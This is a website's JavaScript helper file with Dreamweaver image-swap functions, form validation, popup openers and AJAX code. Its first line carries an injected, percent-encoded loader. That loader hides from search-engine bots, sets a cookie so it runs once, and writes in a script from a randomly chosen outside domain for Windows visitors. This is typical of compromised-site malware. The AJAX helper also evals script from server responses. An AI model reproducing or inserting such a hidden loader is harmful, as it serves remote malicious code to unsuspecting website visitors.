var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%77%61%74%63%68%74%69%6D%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%22%2C%22%65%6D%61%70%69%73%2E%6F%72%67%22%2C%22%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%22%2C%22%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%22%5D%2C%65%3D%5B%22%61%71%75%61%2E%22%2C%22%61%7A%75%72%65%2E%22%2C%22%62%6C%61%63%6B%2E%22%2C%22%62%6C%75%65%2E%22%2C%22%62%72%6F%77%6E%2E%22%2C%22%67%6F%6C%64%2E%22%2C%22%67%72%61%79%2E%22%2C%22%67%72%65%65%6E%2E%22%2C%22%6C%69%6D%65%2E%22%2C%22%6E%61%76%79%2E%22%2C%22%6F%6C%69%76%65%2E%22%2C%22%70%6C%75%6D%2E%22%2C%22%72%65%64%2E%22%2C%22%73%6E%6F%77%2E%22%2C%22%77%68%69%74%65%2E%22%2C%22%79%65%6C%6C%6F%77%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%77%61%74%63%68%74%69%6D%65%3D%22%2B%65%73%63%61%70%65%28%22%77%61%74%63%68%74%69%6D%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%32%2E%32%2F%61%70%69%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v3.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src;
x.src=a[i+2];}
}

function MM_findObj(n, d) { //v4.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function MM_validateForm() { //v4.0
  var i,p,q,nm,test,num,min,max,errors='',args=MM_validateForm.arguments;
  var security_code_response = document.getElementById('response').innerHTML;
  if(security_code_response != 'Secure'){
  	//alert(security_code);
  	errors += '- Invalid security code.\n';
  }
  for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=MM_findObj(args[i]);
    if (val) { nm=val.name; if ((val=val.value)!="") {
      if (test.indexOf('isEmail')!=-1) { p=val.indexOf('@');
        if (p<1 || p==(val.length-1)) errors+='- '+nm+' must contain an e-mail address.\n';
      } else if (test!='R') {
        if (isNaN(val)) errors+='- '+nm+' must contain a number.\n';
        if (test.indexOf('inRange') != -1) { p=test.indexOf(':');
          min=test.substring(8,p); max=test.substring(p+1);
          if (val<min || max<val) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
    } } } else if (test.charAt(0) == 'R') errors += '- '+nm+' is required.\n'; }
  } if (errors) alert('The following error(s) occurred:\n'+errors);
  document.MM_returnValue = (errors == '');
}
function openSmallWindow(url) {
	window.open(url,"smallWindow","width=350,height=400,scrollbars,resizable");
	return false;
}
function popup(url) {
	window.open(url,"smallWindow","width=350,height=400,scrollbars,resizable");
	return false;
}
function popwin(theURL,winName,features) {
  window.open(theURL,winName,features);
}

//version 1.1,
var popup_array = Array();
function open_popup(url, popup_name, options) {
	var cur_popup = popup_array[popup_name];
	var is_popup_defined = (typeof(cur_popup) == 'object');
	var is_popup_open = (is_popup_defined)
		? !(cur_popup.closed)
		: false;

	if ( is_popup_defined && is_popup_open ) {
		cur_popup.document.write (' ');
		cur_popup.focus();
		cur_popup.location.href = url;
		cur_popup.focus();
	} else if ((is_popup_defined && !is_popup_open) || !is_popup_defined) {
		popup_array[popup_name] = window.open(url, popup_name, options);
	}
}
			
		
function gotoit(theURL,winName) {
	parent.window.opener.location = theURL;
	parent.window.opener.focus();
	self.close();
}

function confirmpassword(emailone, emailtwo, passwordone, passwordtwo) {
	if (emailone == emailtwo) {
		if (passwordone == passwordtwo) {
			return true;
		}
		else {
			alert ('The password\'s that you supplied do not match. Please re-enter them.');
			return false;
		}
	}
	else {
		alert ('The email\'s that you supplied do not match. Please re-enter them.');
		return false;
	}
}

function query(idea) {
	if (idea == "revert") {
		if (confirm("Are you sure you want to revert?  You will lose all of your changes!")) {
			document.edit_form.status.value = "revert";
			document.edit_form.submit();
		}
	}
	if (idea == "golive") {
		if (confirm("Are you sure you want to go live?  All changes will be made permanent!")) {
			document.edit_form.status.value = "golive";
			document.edit_form.submit();
		}
	}
}

function del_query(idea,url) {
	if (idea == "delete") {
		if (confirm("Are you sure you want to delete this item? All changes will be made permanent!")) location.href = url
	}
}

function delete_page(id) {
	if (confirm("Are you sure you want to delete page id:" + id + "?")) {
		document.edit_form.status.value = "delete_page";
		document.edit_form.delete_id.value = id;
		document.edit_form.submit();
	}
}

function confirmpassword(emailone, emailtwo, passwordone, passwordtwo) {
	if (passwordone != '' && passwordtwo != '') {
		if (emailone == emailtwo) {
			if (passwordone == passwordtwo) {
				return true;
			}
			else {
				alert ('The password\'s that you supplied do not match. Please re-enter them.');
				return false;
			}
		}
		else {
			alert ('The email\'s that you supplied do not match. Please re-enter them.');
			return false;
		}
	}
	else {
		alert ('You must select a password.');
		return false;
	}
}
function popMedia(url) {
	window.open(url,'popup','menubar=no,scrollbars=no,width=515,height=411,resizeable=no');
}
//AJAX functions
function check_code()
{
	var security_code = document.getElementById('security_code').value;
	getContent('/form_ajax_data.php?security_code=' + security_code, 'response');

}
	
function getHTTPObject()
{
  var xmlhttp;
  /*@cc_on
  @if (@_jscript_version >= 5)
	try {
	  xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
	} catch (e) {
	  try {
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	  } catch (E) {
		xmlhttp = false;
	  }
	}
  @else
  xmlhttp = false;
  @end @*/
  if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
	try {
	  xmlhttp = new XMLHttpRequest();
	} catch (e) {
	  xmlhttp = false;
	}
  }
  return xmlhttp;
}

function getContent(url,location) {
	xObj = false;
	xObj = getHTTPObject();
	xObj.open('GET', url,true);
	xObj.onreadystatechange=function() {
		if (xObj.readyState==4) {
			document.getElementById(location).innerHTML = xObj.responseText;
			if(xObj.responseText.indexOf('<' + 'script') != -1) {
				beginning = xObj.responseText.indexOf('<' + 'script');
				beginning = xObj.responseText.indexOf('>',beginning) + 1;
				ending = xObj.responseText.indexOf('</' + 'script')-1;
				scriptText = xObj.responseText.substring(beginning, ending);
				eval(scriptText);
			}
		}
	}
	xObj.send(null)
}